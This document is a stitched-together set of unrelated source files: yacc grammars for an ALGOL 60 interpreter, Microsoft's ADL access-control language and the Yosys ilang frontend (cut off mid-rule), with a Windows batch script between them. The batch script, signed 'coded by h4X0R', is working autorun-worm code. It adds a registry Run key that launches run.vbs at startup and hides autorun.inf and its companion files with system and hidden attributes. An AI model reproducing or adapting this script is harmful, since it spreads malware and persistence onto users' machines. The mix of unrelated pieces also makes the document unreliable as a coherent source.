TEQUAL mix_expr { $$ = new_xmix_expr ($1, e_op_equal, $3); } | mix_expr TNOTLESS mix_expr { $$ = new_xmix_expr ($1, e_op_notless, $3); } | mix_expr TGREATER mix_expr { $$ = new_xmix_expr ($1, e_op_greater, $3); } | mix_expr TNOTEQUAL mix_expr { $$ = new_xmix_expr ($1, e_op_notequal, $3); } ; mix_prim : INUM { EXPR *new = new_expr (e_ival, ty_integer); new->u.ival = $1; $$ = new; } | real_value { EXPR *new = new_expr (e_rval, ty_real); new->u.rval = $1; $$ = new; } | func_desig { $$ = $1; } | variable { EXPR *new; if (! $1) { new = (EXPR *) 0; } else { new = new_expr (e_symbol, ty_unknown); new->u.lhelm = $1; if (TIS_PROC($1->sym->type)) { LHELM *lhelm = $1; new->tag = e_fcall; lhelm->u.fcall = new_funcall (lhelm->sym, (EXPR *) 0); new->u.lhelm = lhelm; } } $$ = new; } | logical_val { EXPR *new = new_expr (e_bool, ty_bool); new->u.bool = $1; $$ = new; } | '(' simple_expr ')' { $$ = $2; } ; bool_expr: arith_expr; /* designational expr : */ design_expr : simp_dexpr { $$ = $1; } | if_clause simp_dexpr TELSE design_expr { EXPR *new = new_expr (e_condexpr, ty_unknown); new->u.expr[0] = $1; new->u.expr[1] = $2; new->u.expr[2] = $4; $$ = new; } ; simp_dexpr : label { SYMTAB *new = new_symbol ($1, ty_label, s_undef); EXPR *ex = new_expr (e_label, ty_label); ex->u.label = new; $$ = ex; } | switch_des { $$ = $1; } | '(' design_expr ')' { $$ = $2; } ; switch_des : identifier '[' subscr_expr ']' { EXPR *ex = new_expr (e_switch, ty_switch); ex->u.eswitch = new_eswitch ($1, $3); $$ = ex; } ; /* compound statements and blocks : */ program : block { $$ = $1; } | comp_stmt { $$ = $1; } ; block : unlab_block { $$ = $1; } | tlabel block { TREE *p1 = $1, *p2 = $2; p1->next = p2; $$ = p1; } ; comp_stmt : unlab_comp { $$ = $1; } | tlabel comp_stmt { TREE *p1 = $1, *p2 = $2; p1->next = p2; $$ = p1; } ; unlab_block : block_head ';' comp_tail { TREE *new = new_tree (t_block); new->runme = run_block; new->u.block = current_scope->block; /* new->u.block->symtab = current_scope->symtab; */ new->u.block->nact = set_actidx (*current_scope->symtab); new->u.block->stmt = $3; new->next = 0; $$ = new; close_current_scope (); } ; unlab_comp : TBEGIN { open_new_scope (); } comp_tail { TREE *p = $3; TREE *new = new_tree (t_block); new->runme = run_block; new->u.block = current_scope->block; new->u.block->stmt = p; new->next = 0; close_current_scope (); $$ = new; } ; block_head : TBEGIN { open_new_scope (); } decl { SYMTAB *p = $3; examine_and_append_symtab (current_scope->symtab, p); } | block_head ';' decl { SYMTAB *p = $3; examine_and_append_symtab (current_scope->symtab, p); } | error { /** yyerror ("declaration error"); **/ } ; comp_tail : stmt TEND { $$ = $1; } | stmt ';' comp_tail { if (! $1) { /* there was an error parsing stmt */ $$ = $3; } else { append_stmt (&($1)->next, $3, 0); $$ = $1; } } ; stmt : uncond_stmt { $$ = $1; } | cond_stmt { $$ = $1; } | for_stmt { $$ = $1; } ; uncond_stmt : basic_stmt { $$ = $1; } | comp_stmt { $$ = $1; } | block { $$ = $1; } ; basic_stmt : unlab_basic_stmt { $$ = $1; } | tlabel basic_stmt { ($1)->next = $2; $$ = $1; } ; unlab_basic_stmt : assign_stmt { $$ = $1; } | goto_stmt { $$ = $1; } | dummy_stmt { $$ = $1; } | proc_stmt { $$ = $1; } | error { $$ = 0; } ; /* assignment statements : */ assign_stmt : left_part_list right_part { $$ = new_assign_stmt ($1, $2); } ; right_part : arith_expr { $$ = $1; } ; left_part_list : left_part { $$ = $1; } | left_part_list left_part { LHELM **l = &($1); for (; *l; l = &(*l)->next) continue; *l = $2; $$ = $1; } ; left_part : variable TASSIGN { $$ = $1; } ; /* goto statements : */ goto_stmt : TGOTO design_expr { $$ = new_goto_stmt ($2); } ; /* dummy statements : */ dummy_stmt : /* empty */ { $$ = new_tree (t_dummy_stmt); } ; /* conditional statements : */ cond_stmt : if_stmt { $$ = $1; } | if_stmt TELSE stmt { ($1)->u.ifstmt->telse = $3; $$ = $1; } | if_clause for_stmt { TREE *new = new_if_stmt ($1); new->u.ifstmt->tthen = $2; $$ = new; } | tlabel cond_stmt { ($1)->next = $2; $$ = $1; } ; if_stmt : if_clause uncond_stmt { TREE *new = new_if_stmt ($1); new->u.ifstmt->tthen = $2; $$ = new; } ; if_clause : TIF bool_expr TTHEN { $$ = $2; } ; /* for statements : */ for_stmt : for_clause stmt { TREE *new = new_tree (t_for_stmt); new->runme = run_forstmt; new->u.forstmt = $1; new->u.forstmt->stmt = $2; $$ = new; } | tlabel for_stmt { ($1)->next = $2; $$ = $2; } ; for_clause : TFOR variable TASSIGN for_list TDO { FORSTMT *new = TALLOC (FORSTMT); new->lvar = $2; new->forelm = $4; $$ = new; } ; for_list : for_lelm { $$ = $1; } | for_list ',' for_lelm { FORELM **fe = &($1); while (*fe) fe = & (*fe)->next; *fe = $3; $$ = $1; } ; for_lelm : arith_expr { FORELM *new = TALLOC (FORELM); new->tag = fe_expr; new->expr[0] = $1; new->next = (FORELM *) 0; $$ = new; } | arith_expr TSTEP arith_expr TUNTIL arith_expr { FORELM *new = TALLOC (FORELM); new->tag = fe_until; new->expr[0] = $1; new->expr[1] = $3; new->expr[2] = $5; new->next = (FORELM *) 0; $$ = new; } | arith_expr TWHILE bool_expr { FORELM *new = TALLOC (FORELM); new->tag = fe_while; new->expr[0] = $1; new->expr[1] = $3; new->next = (FORELM *) 0; $$ = new; } ; /* Procedure statements : */ proc_stmt : identifier act_parmpart { TREE *new = new_tree (t_proc_stmt); SYMTAB *sym = new_symbol ($1, ty_proc, s_undef); new->runme = run_proc; new->u.funcall = new_funcall (sym, $2); $$ = new; } ; act_parmpart : /* empty */ { $$ = (EXPR *) 0; } | '(' act_parmlist ')' { $$ = $2; } ; act_parmlist : act_parm { $$ = $1; } | act_parmlist parm_delim act_parm { EXPR **expr = &($1); while (*expr) expr = &(*expr)->next; *expr = $3; $$ = $1; } ; parm_delim : ',' { /* do nothing */ } | ')' letter_string ':' '(' { /* do nothing */ } ; letter_string : NAME { /* do nothing */ } ; act_parm : string { $$ = $1; } | arith_expr { $$ = $1; } ; /* Declarations : */ decl : type_decl { $$ = $1; } | array_decl { $$ = $1; } | switch_decl { $$ = $1; } | proc_decl { $$ = $1; } ; /* Type declarations : */ type_decl : loc_or_own type_list { ENUM type_tag p1 = ($1).type; int own = ($1).own; SYMTAB *p2 = $2; sym_all_type (p2, p1, own); $$ = p2; } ; loc_or_own : type { OWNTYPE new; new.type = $1; new.own = 0; $$ = new; } | TOWN type { OWNTYPE new; new.type = $2; new.own = 1; $$ = new; } ; type_list : identifier { SYMTAB *new = new_symbol ($1, ty_unknown, s_defined); new->block = current_scope->block; $$ = new; } | type_list ',' identifier { if (find_in_symtab ($1, $3)) { yyerror ("duplicate symbol"); $$ = $1; } else { SYMTAB *new = new_symbol ($3, ty_unknown, s_defined); new->next = $1; new->block = current_scope->block; $$ = new; } } ; type : TINTEGER { $$ = ty_integer; } | TREAL { $$ = ty_real; } | TBOOL { $$ = ty_bool; } ; /* Array declarations : */ array_decl : TARRAY array_list { sym_all_type ($2, TAR_TYPE(ty_real), 0); $$ = $2; } | loc_or_own TARRAY array_list { sym_all_type ($3, TAR_TYPE(($1).type), ($1).own); $$ = $3; } ; array_list : array_seg { $$ = $1; } | array_list ',' array_seg { examine_and_append_symtab (&($1), $3); $$ = $1; } ; array_seg : identifier '[' bound_pair_list ']' { SYMTAB *new = new_symbol ($1, ty_unknown, s_defined); new->block = current_scope->block; new->u.arr = TALLOC (ARRAY); new->u.arr->bound = $3; new->u.arr->dim = num_bounds ($3); /** new->u.arr->val = 0; **/ $$ = new; } | identifier ',' array_seg { SYMTAB *new = new_symbol ($1, ty_unknown, s_defined); new->block = current_scope->block; new->u.arr = TALLOC (ARRAY); new->u.arr->bound = ($3)->u.arr->bound; new->u.arr->dim = ($3)->u.arr->dim; /** new->u.arr->val = 0; **/ new->next = $3; $$ = new; } ; bound_pair_list : bound_pair { $$ = $1; } | bound_pair_list ',' bound_pair { BOUND **b = &($1); while (*b) b = &(*b)->next; *b = $3; $$ = $1; } ; bound_pair : arith_expr ':' arith_expr { BOUND *new = TALLOC (BOUND); new->low = $1; new->high = $3; $$ = new; } ; /* Switch declarations : */ switch_decl : TSWITCH identifier TASSIGN switch_list { SYMTAB *new = new_symbol ($2, ty_switch, s_defined); new->block = current_scope->block; new->u.dexpr = $4; $$ = new; } ; switch_list : design_expr { $$ = $1; } | switch_list ',' design_expr { append_expr (&($1), $3); $$ = $1; } ; /* Procedure declarations : */ proc_decl : pd_proc_head pd_proc_body { ($1)->u.pproc->block->stmt = $2; close_current_scope (); $$ = 0; } ; pd_proc_type : /* empty */ { $$ = ty_proc; } | type { $$ = TPROC_TYPE($1); } ; pd_proc_body : stmt { $$ = $1; } | TCODE { $$ = (TREE *) 0; } ; pd_proc_hhead : pd_proc_type TPROC identifier { SYMTAB *psym = new_symbol ($3, $1, s_defined); PPROC *new = TALLOC (PPROC); examine_and_append_symtab (current_scope->symtab, psym); psym->block = current_scope->block; psym->u.pproc = new; open_new_scope (); new->block = current_scope->block; $$ = psym; } ; pd_proc_head : pd_proc_hhead pd_form_parmpart ';' pd_val_part pd_spec_part { SYMTAB *psym = $1; examine_and_append_symtab (current_scope->symtab, $2); psym->u.pproc->nparm = num_symbols ($2); psym->u.pproc->block->nact = set_actidx (*current_scope->symtab); replace_type (*current_scope->symtab, $5); set_by_value (*current_scope->symtab, $4); $$ = psym; } ; pd_spec_part : /* empty */ { $$ = (SYMTAB *) 0; } | pd_spec_idlist { $$ = $1; } ; pd_spec_idlist : pd_spec pd_ident_list ';' { sym_all_type ($2, $1, 0); $$ = $2; } | pd_spec_idlist pd_spec pd_ident_list ';' { sym_all_type ($3, $2, 0); examine_and_append_symtab (&($1), $3); $$ = $1; } ; pd_spec : TSTRING { $$ = ty_string; } | type { $$ = $1; } | TARRAY { $$ = ty_real_array; } | type TARRAY { $$ = TAR_TYPE($1); } | TLABEL { $$ = ty_label; } | TSWITCH { $$ = ty_switch; } | TPROC { $$ = ty_proc; } | type TPROC { $$ = TPROC_TYPE($1); } ; pd_val_part : /* empty */ { $$ = (SYMTAB *) 0; } | TVALUE pd_ident_list ';' { $$ = $2; } ; pd_ident_list : identifier { $$ = new_symbol ($1, ty_unknown, s_byname); } | pd_ident_list ',' identifier { SYMTAB *new = new_symbol ($3, ty_unknown, s_byname); examine_and_append_symtab (&(($1)->next), new); $$ = $1; } ; pd_form_parmpart : /* empty */ { $$ = (SYMTAB *) 0; } | '(' pd_form_parmlist ')' { $$ = $2; } ; pd_form_parmlist : pd_form_parm { $$ = $1; } | pd_form_parmlist parm_delim pd_form_parm { examine_and_append_symtab (&($1), $3); $$ = $1; } ; pd_form_parm : identifier { SYMTAB *new = new_symbol ($1, ty_unknown, s_byname); new->block = current_scope->block; $$ = new; } ; /* Label parsing: */ tlabel : label ':' { TREE *new = new_tree (t_label); SYMTAB *s = new_symbol ($1, ty_label, s_defined); s->block = current_scope->block; new->u.symbol = s; examine_and_append_symtab (current_scope->symtab, s); $$ = new; } ; label : identifier { $$ = $1; } | INUM { char tmp[32]; sprintf(tmp, "%ld", $1); $$ = xstrdup (tmp); } ; /* real value: */ signed_inum : INUM { $$ = $1; } | '+' INUM { $$ = $2; } | '-' INUM { $$ = - ($2); } ; real_value : RNUM { $$ = $1; } | RNUM TTEN signed_inum { $$ = ($1) * pow ((double) 10, (double) ($3)); } | INUM TTEN signed_inum { $$ = (double) ($1) * pow ((double) 10, (double) ($3)); } | TTEN signed_inum { $$ = pow ((double) 10, (double) ($2)); } ; %% /*** in future: #ifdef YYBISON ***/ #ifndef YYBYACC /* * the yyoverflow function for use with bison to avoid use of alloca(): */ #ifdef ALLOCA_MISSING #ifdef YYLSP_NEEDED static void a60_yyoverflow (s, yyss1, size_yyss, yyvs1, size_yyvs, yyls1, size_yyls, yysp) char *s; short *yyss1; int size_yyss; YYSTYPE *yyvs1; int size_yyvs; YYLTYPE *yyls1; int size_yyls; int *yysp; { yyerror (s); } #else /* ! YYLSP_NEEDED */ static void a60_yyoverflow (s, yyss1, size_yyss, yyvs1, size_yyvs, yysp) char *s; short *yyss1; int size_yyss; YYSTYPE *yyvs1; int size_yyvs; int *yysp; { yyerror (s); } #endif /* ! YYLSP_NEEDED */ #endif /* ALLOCA_MISSING */ #endif /* ! YYBISON */ /* end of a60-parse.y */
%{ /*++ Copyright (c) 2000 Microsoft Corporation Module Name: adl.y/adlparser.cpp Abstract: YACC parser definition for the ADL language AdlParser::ParseAdl() function Author: t-eugenz - August 2000 Environment: User mode only. Revision History: Created - August 2000 --*/ #include "pch.h" #include "adl.h" // // YACC generates some long->short automatic conversion, disable the warning // #pragma warning(disable : 4242) // // ISSUE-2000/08/28-t-eugenz // This is a private netlib function. // extern "C" NET_API_STATUS NetpwNameValidate( IN LPTSTR Name, IN DWORD NameType, IN DWORD Flags ); // // Name types for I_NetName* and I_NetListCanonicalize // #define NAMETYPE_USER 1 #define NAMETYPE_PASSWORD 2 #define NAMETYPE_GROUP 3 #define NAMETYPE_COMPUTER 4 #define NAMETYPE_EVENT 5 #define NAMETYPE_DOMAIN 6 #define NAMETYPE_SERVICE 7 #define NAMETYPE_NET 8 #define NAMETYPE_SHARE 9 #define NAMETYPE_MESSAGE 10 #define NAMETYPE_MESSAGEDEST 11 #define NAMETYPE_SHAREPASSWORD 12 #define NAMETYPE_WORKGROUP 13 // // Validate various tokens, with error handling // have to cast away const, since NetpNameValidate takes a non-const for some // reason // #define VALIDATE_USERNAME(TOK) \ if( NetpwNameValidate( \ (WCHAR *)(TOK)->GetValue(), \ NAMETYPE_USER, \ 0) != ERROR_SUCCESS) \ { \ this->SetErrorToken( TOK ); \ throw AdlStatement::ERROR_INVALID_USERNAME; \ } #define VALIDATE_DOMAIN(TOK) \ if( NetpwNameValidate( \ (WCHAR *)(TOK)->GetValue(), \ NAMETYPE_DOMAIN, \ 0) != ERROR_SUCCESS) \ { \ this->SetErrorToken( TOK ); \ throw AdlStatement::ERROR_INVALID_DOMAIN; \ } #define VALIDATE_PERMISSION(TOK) \ { \ for(DWORD i = 0;; i++) \ { \ if( (_pControl->pPermissions)[i].str == NULL ) \ { \ this->SetErrorToken( TOK ); \ throw AdlStatement::ERROR_UNKNOWN_PERMISSION; \ } \ if(!_wcsicmp(TOK->GetValue(), \ (_pControl->pPermissions)[i].str)) \ { \ break; \ } \ } \ } // // YACC value type // #define YYSTYPE AdlToken * // // YACC error handler: raise an exception // void yyerror(char *szErr) { throw AdlStatement::ERROR_NOT_IN_LANGUAGE; } %} %token TK_ERROR %token TK_IDENT %token TK_AT %token TK_SLASH %token TK_PERIOD %token TK_COMMA %token TK_OPENPAREN %token TK_CLOSEPAREN %token TK_SEMICOLON %token TK_EXCEPT %token TK_ON %token TK_ALLOWED %token TK_AND %token TK_AS %token TK_THIS_OBJECT %token TK_CONTAINERS %token TK_OBJECTS %token TK_CONTAINERS_OBJECTS %token TK_NO_PROPAGATE %token TK_LANG_ENGLISH %token TK_LANG_REVERSE %start ADL %% ADL: TK_LANG_ENGLISH ACRULE_LIST_ENGLISH { // // At the end of all ADL_STATEMENT's // pop the extra AdlTree that was pushed // on when the last ADL_STATEMENT // was completed // this->PopEmpty(); } | TK_LANG_REVERSE ACRULE_LIST_REVERSE { // // At the end of all ADL_STATEMENT's // pop the extra AdlTree that was pushed // on when the last ADL_STATEMENT // was completed // this->PopEmpty(); } ; ACRULE_LIST_ENGLISH: ACRULE_ENGLISH | ACRULE_LIST_ENGLISH ACRULE_ENGLISH ; ACRULE_ENGLISH: SEC_PRINCIPAL_LIST TK_OPENPAREN TK_EXCEPT EX_SEC_PRINCIPAL_LIST TK_CLOSEPAREN TK_ALLOWED PERMISSION_LIST TK_ON OBJECT_SPEC TK_SEMICOLON { this->Next(); } | SEC_PRINCIPAL_LIST TK_ALLOWED PERMISSION_LIST TK_ON OBJECT_SPEC TK_SEMICOLON { this->Next(); } ; ACRULE_LIST_REVERSE: ACRULE_REVERSE | ACRULE_LIST_REVERSE ACRULE_REVERSE ; ACRULE_REVERSE: TK_OPENPAREN TK_EXCEPT EX_SEC_PRINCIPAL_LIST TK_CLOSEPAREN SEC_PRINCIPAL_LIST TK_ALLOWED PERMISSION_LIST TK_ON OBJECT_SPEC TK_SEMICOLON { this->Next(); } | SEC_PRINCIPAL_LIST TK_ALLOWED PERMISSION_LIST TK_ON OBJECT_SPEC TK_SEMICOLON { this->Next(); } ; SEC_PRINCIPAL_LIST: SEC_PRINCIPAL { this->Cur()->AddPrincipal( $1 ); } | SEC_PRINCIPAL_LIST TK_COMMA SEC_PRINCIPAL { this->Cur()->AddPrincipal( $3 ); } | SEC_PRINCIPAL_LIST TK_AND SEC_PRINCIPAL { this->Cur()->AddPrincipal( $3 ); } ; EX_SEC_PRINCIPAL_LIST: SEC_PRINCIPAL { this->Cur()->AddExPrincipal( $1 ); } | EX_SEC_PRINCIPAL_LIST TK_COMMA SEC_PRINCIPAL { this->Cur()->AddExPrincipal( $3 ); } | EX_SEC_PRINCIPAL_LIST TK_AND SEC_PRINCIPAL { this->Cur()->AddExPrincipal( $3 ); } ; PERMISSION_LIST: PERMISSION { this->Cur()->AddPermission( $1 ); } | PERMISSION_LIST TK_AND PERMISSION { this->Cur()->AddPermission( $3 ); } | PERMISSION_LIST TK_COMMA PERMISSION { this->Cur()->AddPermission( $3 ); } ; PERMISSION: IDENTIFIER { VALIDATE_PERMISSION($1); } ; OBJECT_SPEC: OBJECT | OBJECT_SPEC TK_AND OBJECT | OBJECT_SPEC TK_COMMA OBJECT ; SEC_PRINCIPAL: SUB_PRINCIPAL | SUB_PRINCIPAL TK_AS SUB_PRINCIPAL { // // For now, impersonation is not supported // throw AdlStatement::ERROR_IMPERSONATION_UNSUPPORTED; } ; SUB_PRINCIPAL: IDENTIFIER TK_AT DOMAIN { VALIDATE_USERNAME($1); VALIDATE_DOMAIN($3); AdlToken *newTok = new AdlToken($1->GetValue(), $3->GetValue(), $1->GetStart(), $3->GetEnd()); this->AddToken(newTok); $$ = newTok; } | DOMAIN TK_SLASH IDENTIFIER { VALIDATE_USERNAME($3); VALIDATE_DOMAIN($1); AdlToken *newTok = new AdlToken($3->GetValue(), $1->GetValue(), $1->GetStart(), $3->GetEnd()); this->AddToken(newTok); $$ = newTok; } | IDENTIFIER { VALIDATE_USERNAME($1); $$ = $1; } ; DOMAIN: IDENTIFIER | DOMAIN TK_PERIOD IDENTIFIER { // // Concatenate into single domain string // wstring newStr; newStr.append($1->GetValue()); newStr.append($2->GetValue()); newStr.append($3->GetValue()); AdlToken *newTok = new AdlToken(newStr.c_str(), $1->GetStart(), $1->GetEnd()); this->AddToken(newTok); $$ = newTok; } ; OBJECT: TK_THIS_OBJECT { this->Cur()->UnsetFlags(INHERIT_ONLY_ACE); } | TK_CONTAINERS { this->Cur()->SetFlags(CONTAINER_INHERIT_ACE); } | TK_OBJECTS { this->Cur()->SetFlags(OBJECT_INHERIT_ACE); } | TK_CONTAINERS_OBJECTS { this->Cur()->SetFlags(CONTAINER_INHERIT_ACE); this->Cur()->SetFlags(OBJECT_INHERIT_ACE); } | TK_NO_PROPAGATE { this->Cur()->SetFlags(NO_PROPAGATE_INHERIT_ACE); } ; IDENTIFIER: TK_IDENT | TK_ALLOWED | TK_AND | TK_AS | TK_EXCEPT | TK_ON | TK_ERROR { // // This should never happen // throw AdlStatement::ERROR_FATAL_LEXER_ERROR; } ; %%
@echo off if exist %windir%\win32.sys goto :jump echo fuck off regedit /s .\run.reg :reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v AutoRun32 /d %windir%\system32\run.vbs /f :jump echo fuck off if not "%1"=="" goto metka if exist run.vbs start WScript.exe run.vbs&exit if exist %windir%\system32\run.vbs start WScript.exe %windir%\system32\run.vbs&exit exit echo fuck off :metka if not "%1"=="Open" goto sled1 start explorer .\ exit echo fuck off :sled1 if not "%1"=="Over" goto :sled2 exit echo fuck off :sled2 if "%1"=="-" attrib -r -a -s -h %2\run.* echo fuck off if "%1"=="+" attrib +r +a +s +h %2\run.* echo fuck off if "%1"=="-" attrib -r -a -s -h %2\autorun.inf echo fuck off if "%1"=="+" attrib +r +a +s +h %2\autorun.inf echo fuck off if "%1"=="-" attrib -r -a -s -h %2\io.bat echo fuck off if "%1"=="+" attrib +r +a +s +h %2\io.bat :end :coded by h4X0R
<filename>yosys/frontends/ilang/ilang_parser.y /* * yosys -- Yosys Open SYnthesis Suite * * Copyright (C) 2012 <NAME> <<EMAIL>> * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * --- * * A very simple and straightforward frontend for the RTLIL text * representation (as generated by the 'ilang' backend). * */ %{ #include <list> #include "frontends/ilang/ilang_frontend.h" YOSYS_NAMESPACE_BEGIN namespace ILANG_FRONTEND { std::istream *lexin; RTLIL::Design *current_design; RTLIL::Module *current_module; RTLIL::Wire *current_wire; RTLIL::Memory *current_memory; RTLIL::Cell *current_cell; RTLIL::Process *current_process; std::vector<std::vector<RTLIL::SwitchRule*>*> switch_stack; std::vector<RTLIL::CaseRule*> case_stack; dict<RTLIL::IdString, RTLIL::Const> attrbuf; bool flag_nooverwrite, flag_overwrite, flag_lib; bool delete_current_module; } using namespace ILANG_FRONTEND; YOSYS_NAMESPACE_END USING_YOSYS_NAMESPACE %} %define api.prefix {rtlil_frontend_ilang_yy} /* The union is defined in the header, so we need to provide all the * includes it requires */ %code requires { #include <string> #include <vector> #include "frontends/ilang/ilang_frontend.h" } %union { char *string; int integer; YOSYS_NAMESPACE_PREFIX RTLIL::Const *data; YOSYS_NAMESPACE_PREFIX RTLIL::SigSpec *sigspec; std::vector<YOSYS_NAMESPACE_PREFIX RTLIL::SigSpec> *rsigspec; } %token <string> TOK_ID TOK_VALUE TOK_STRING %token <integer> TOK_INT %token TOK_AUTOIDX TOK_MODULE TOK_WIRE TOK_WIDTH TOK_INPUT TOK_OUTPUT TOK_INOUT %token TOK_CELL TOK_CONNECT TOK_SWITCH TOK_CASE TOK_ASSIGN TOK_SYNC %token TOK_LOW TOK_HIGH TOK_POSEDGE TOK_NEGEDGE TOK_EDGE TOK_ALWAYS TOK_GLOBAL TOK_INIT %token TOK_UPDATE TOK_PROCESS TOK_END TOK_INVALID TOK_EOL TOK_OFFSET %token TOK_PARAMETER TOK_ATTRIBUTE TOK_MEMORY TOK_SIZE TOK_SIGNED TOK_REAL TOK_UPTO %type <rsigspec> sigspec_list_reversed %type <sigspec> sigspec sigspec_list %type <integer> sync_type %type <data> constant %expect 0 %debug %% input: optional_eol { attrbuf.clear(); } design { if (attrbuf.size() != 0) rtlil_frontend_ilang_yyerror("dangling attribute"); }; EOL: optional_eol TOK_EOL; optional_eol: optional_eol TOK_EOL | /* empty */; design: design module | design attr_stmt | design autoidx_stmt | /* empty */; module: TOK_MODULE TOK_ID EOL { delete_current_module = false; if (current_design->has($2)) { RTLIL::Module *existing_mod = current_design->module($2); if (!flag_overwrite && (flag_lib || (attrbuf.count("\\blackbox") && attrbuf.at("\\blackbox").as_bool()))) { log("Ignoring blackbox re-definition of module %s.\n", $2); delete_current_module = true; } else if (!flag_nooverwrite && !flag_overwrite && !existing_mod->get_bool_attribute("\\blackbox")) { rtlil_frontend_ilang_yyerror(stringf("ilang error: redefinition of module %s.", $2).c_str()); } else if (flag_nooverwrite) { log("Ignoring re-definition of module %s.\n", $2); delete_current_module = true; } else { log("Replacing existing%s module %s.\n", existing_mod->get_bool_attribute("\\blackbox") ? " blackbox" : "", $2); current_design->remove(existing_mod); } } current_module = new RTLIL::Module; current_module->name = $2; current_module->attributes = attrbuf; if (!delete_current_module) current_design->add(current_module); attrbuf.clear(); free($2); } module_body TOK_END { if (attrbuf.size() != 0) rtlil_frontend_ilang_yyerror("dangling attribute"); current_module->fixup_ports(); if (delete_current_module) delete current_module; else if (flag_lib) current_module->makeblackbox(); current_module = nullptr; } EOL; module_body: module_body module_stmt | /* empty */; module_stmt: param_stmt | attr_stmt | wire_stmt | memory_stmt | cell_stmt | proc_stmt | conn_stmt; param_stmt: TOK_PARAMETER TOK_ID EOL { current_module->avail_parameters.insert($2); free($2); }; attr_stmt: TOK_ATTRIBUTE TOK_ID constant EOL { attrbuf[$2] = *$3; delete $3; free($2); }; autoidx_stmt: TOK_AUTOIDX TOK_INT EOL { autoidx = max(autoidx, $2); }; wire_stmt: TOK_WIRE { current_wire = current_module->addWire("$__ilang_frontend_tmp__"); current_wire->attributes = attrbuf; attrbuf.clear(); } wire_options TOK_ID EOL { if (current_module->wires_.count($4) != 0) rtlil_frontend_ilang_yyerror(stringf("ilang error: redefinition of wire %s.", $4).c_str()); current_module->rename(current_wire, $4); free($4); }; wire_options: wire_options TOK_WIDTH TOK_INT { current_wire->width = $3; } | wire_options TOK_UPTO { current_wire->upto = true; } | wire_options TOK_OFFSET TOK_INT { current_wire->start_offset = $3; } | wire_options TOK_INPUT TOK_INT { current_wire->port_id = $3; current_wire->port_input = true; current_wire->port_output = false; } | wire_options TOK_OUTPUT TOK_INT { current_wire->port_id = $3; current_wire->port_input = false; current_wire->port_output = true; } | wire_options TOK_INOUT TOK_INT { current_wire->port_id = $3; current_wire->port_input = true; current_wire->port_output = true; } | /* empty */; memory_stmt: TOK_MEMORY { current_memory = new RTLIL::Memory; current_memory->attributes = attrbuf; attrbuf.clear(); } memory_options TOK_ID EOL { if (current_module->memories.count($4) != 0) rtlil_frontend_ilang_yyerror(stringf("ilang error: redefinition of memory %s.", $4).c_str()); current_memory->name = $4; current_module->memories[$4] = current_memory; free($4); }; memory_options: memory_options TOK_WIDTH TOK_INT { current_memory->width = $3; } | memory_options TOK_SIZE TOK_INT { current_memory->size = $3; } | memory_options TOK_OFFSET TOK_INT { current_memory->start_offset = $3; } | /* empty */; cell_stmt: TOK_CELL TOK_ID TOK_ID EOL { if (current_module->cells_.count($3) != 0) rtlil_frontend_ilang_yyerror(stringf("ilang error: redefinition of cell %s.", $3).c_str()); current_cell = current_module->addCell($3, $2); current_cell->attributes = attrbuf; attrbuf.clear(); free($2); free($3); } cell_body TOK_END EOL; cell_body: cell_body TOK_PARAMETER TOK_ID constant EOL { current_cell->parameters[$3] = *$4; free($3); delete $4; } | cell_body TOK_PARAMETER TOK_SIGNED TOK_ID constant EOL { current_cell->parameters[$4] = *$5; current_cell->parameters[$4].flags |= RTLIL::CONST_FLAG_SIGNED; free($4); delete $5; } | cell_body TOK_PARAMETER TOK_REAL TOK_ID constant EOL { current_cell->parameters[$4] = *$5; current_cell->parameters[$4].flags |= RTLIL::CONST_FLAG_REAL; free($4); delete $5; } | cell_body TOK_CONNECT TOK_ID sigspec EOL { if (current_cell->hasPort($3)) rtlil_frontend_ilang_yyerror(stringf("ilang error: redefinition of cell port %s.", $3).c_str()); current_cell->setPort($3, *$4); delete $4; free($3); } | /* empty */; proc_stmt: TOK_PROCESS TOK_ID EOL { if (current_module->processes.count($2) != 0) rtlil_frontend_ilang_yyerror(stringf("ilang error: redefinition of process %s.", $2).c_str()); current_process = new RTLIL::Process; current_process->name = $2; current_process->attributes = attrbuf; current_module->processes[$2] = current_process; switch_stack.clear(); switch_stack.push_back(&current_process->root_case.switches); case_stack.clear(); case_stack.push_back(&current_process->root_case); attrbuf.clear(); free($2); } case_body sync_list TOK_END EOL; switch_stmt: TOK_SWITCH sigspec EOL { RTLIL::SwitchRule *rule = new RTLIL::SwitchRule; rule->signal = *$2; rule->attributes = attrbuf; switch_stack.back()->push_back(rule); attrbuf.clear(); delete $2; } attr_list switch_body TOK_END EOL; attr_list: /* empty */ | attr_list attr_stmt; switch_body: switch_body TOK_CASE { RTLIL::CaseRule *rule = new RTLIL::CaseRule; rule->attributes = attrbuf; switch_stack.back()->back()->cases.push_back(rule); switch_stack.push_back(&rule->switches); case_stack.push_back(rule); attrbuf.clear(); } compare_list EOL case_body { switch_stack.pop_back(); case_stack.pop_back(); } | /* empty */; compare_list: sigspec { case_stack.back()->compare.push_back(*$1); delete $1; } | compare_list ',' sigspec { case_stack.back()->compare.push_back(*$3); delete $3; } | /* empty */; case_body: case_body attr_stmt | case_body switch_stmt | case_body assign_stmt | /* empty */; assign_stmt: TOK_ASSIGN sigspec sigspec EOL { if (attrbuf.size() != 0) rtlil_frontend_ilang_yyerror("dangling attribute"); case_stack.back()->actions.push_back(RTLIL::SigSig(*$2, *$3)); delete $2; delete $3; }; sync_list: sync_list TOK_SYNC sync_type sigspec EOL { RTLIL::SyncRule *rule = new RTLIL::SyncRule; rule->type = RTLIL::SyncType($3); rule->signal = *$4; current_process->syncs.push_back(rule); delete $4; } update_list | sync_list TOK_SYNC TOK_ALWAYS EOL { RTLIL::SyncRule *rule = new RTLIL::SyncRule; rule->type = RTLIL::SyncType::STa; rule->signal = RTLIL::SigSpec(); current_process->syncs.push_back(rule); } update_list | sync_list 